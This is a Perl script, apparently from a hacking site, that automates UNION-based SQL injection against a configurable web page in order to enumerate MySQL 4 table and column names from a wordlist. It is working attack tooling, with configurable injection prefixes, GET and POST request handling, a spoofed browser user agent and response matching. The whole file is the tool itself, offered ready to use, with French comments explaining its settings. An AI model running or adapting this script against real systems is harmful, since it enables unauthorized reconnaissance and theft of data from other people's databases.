#!/usr/bin/perl
# http://www.indahax.com
# mysql4-enumeration
# VERSION 0.1

use HTTP::Request;
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Long;


#################################################
#		VARIABLES A DEFINIR		#
#################################################

# L'url du site sans les parametres (meme si GET)
$site = "http://localhost/injection-sql/full.php";

# GET / POST
$method = "POST";	

# preunion + postunion => id=55300000 UNION SELECT 1,,3
$preunion = "id=55300000 UNION SELECT 1,";
$postunion = ",3";

$endcomment = "%23"; # %23 == #


# $success_pattern ou $failure_pattern doivent etre definis

# $success_pattern : regexp qui match lorsque la requete est ok
#$success_pattern = "<p>                <a href";

# $failure_pattern : regexp qui match lorsque la requete n est pas ok
$failure_pattern = "ERROR|FAIL";

# Le cookie...
$cookie = "";

# Affiche les messages de debug
$debug = 0;


##################################################


sub usage {
	print "./mysql4-enumeration.pl < -c=TABLE | -t > -w=filename\n";
	print "\t-t enum tables name\n\t-c enum columns name from TABLE\n\t-w a wordlist\n";
}

sub printd {
	if($debug == 1){
		print "$_[0]";
	}
}


sub send_request {

	if($method =~ /GET/){
		printd "[$i] GET $site?".$_[0]."\n";

		$req = HTTP::Request->new(GET => $site."?".$_[0]);
		$req->header(Cookie => $cookie);
		# $req->content($_[0]);
	}else{
		printd "[$i] POST $site\n";
		printd $_[0]."\n";	

		$req = HTTP::Request->new(POST => $site);
		$req->content_type('application/x-www-form-urlencoded');
		$req->header(Cookie => $cookie);
		$req->content($_[0]);
	}
	
	return $ua->request($req);

}

sub match_pattern {


        if( length($firewall_pattern) > 0){
                if($_[0] =~ /$firewall_pattern/){
                        return 2;
                }
        }

        if( length($success_pattern) > 0 ){
                if($_[0] =~ /$success_pattern/){
                        return 1;
                }else{
                        return 0;
                }

        }else{
                if($_[0] =~ /$failure_pattern/){
                        return 0;
                }else{
                        return 1;
                }

        }
}


my $result = GetOptions (
                'c=s'          => \$enum_columns,
                't'            => \$enum_tables,
                'w=s'       => \$wordlist
                );

if(!$wordlist || (!$enum_columns && ! $enum_tables)){

	&usage();
	exit 1;
	
}



# CHECK METHOD
if($method =~ /GET/){
	print "METHOD \t\t\t: GET\n";
}else{
	print "METHOD \t\t\t: POST\n";
}


# CHECK PATTERN
if( length($success_pattern) > 0 ){
        print "SUCCESS_PATTERN \t: ".$success_pattern."\n";
}elsif( length($failure_pattern) > 0){
        print "FAILURE_PATTERN \t: ".$failure_pattern."\n";
}else{
        print "You must define at least a success or a failure pattern\n";
        exit 1;
}


$ua = LWP::UserAgent->new() or die "Could not initialize browser";
$ua->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');


print "STARTING MYSQL 4 ENUMERATION\n";
print "\n";


# TEST CHECK
$injection = $preunion."4444".$postunion." FROM dual ".$endcomment;
my $res = &send_request($injection);
if(!&match_pattern( $res->content)){
	print "There is something wrong because 'SELECT FROM DUAL' failed\n";
	print "Look at preunion, postunion and success/failure pattern variables\n";
	exit 1;
}



if(open(FILE,$wordlist)){
	while ( <FILE> ){
       		$_ =~ s/\n$//;
		my $truc = $_;

		if($enum_tables){
			$injection = $preunion."4444".$postunion." FROM ".$truc.$endcomment;
			$res = send_request($injection);

			if(&match_pattern($res->content)){
				print "[*] Table found : $truc\n";
			}
		}	

                if($enum_columns){

                        $injection = $preunion.$truc.$postunion." FROM ".$enum_columns.$endcomment;
                        $res = send_request($injection);

                        if(&match_pattern($res->content)){
                                print "[*] Column found : $truc\n";
                        }
                }
        }
}


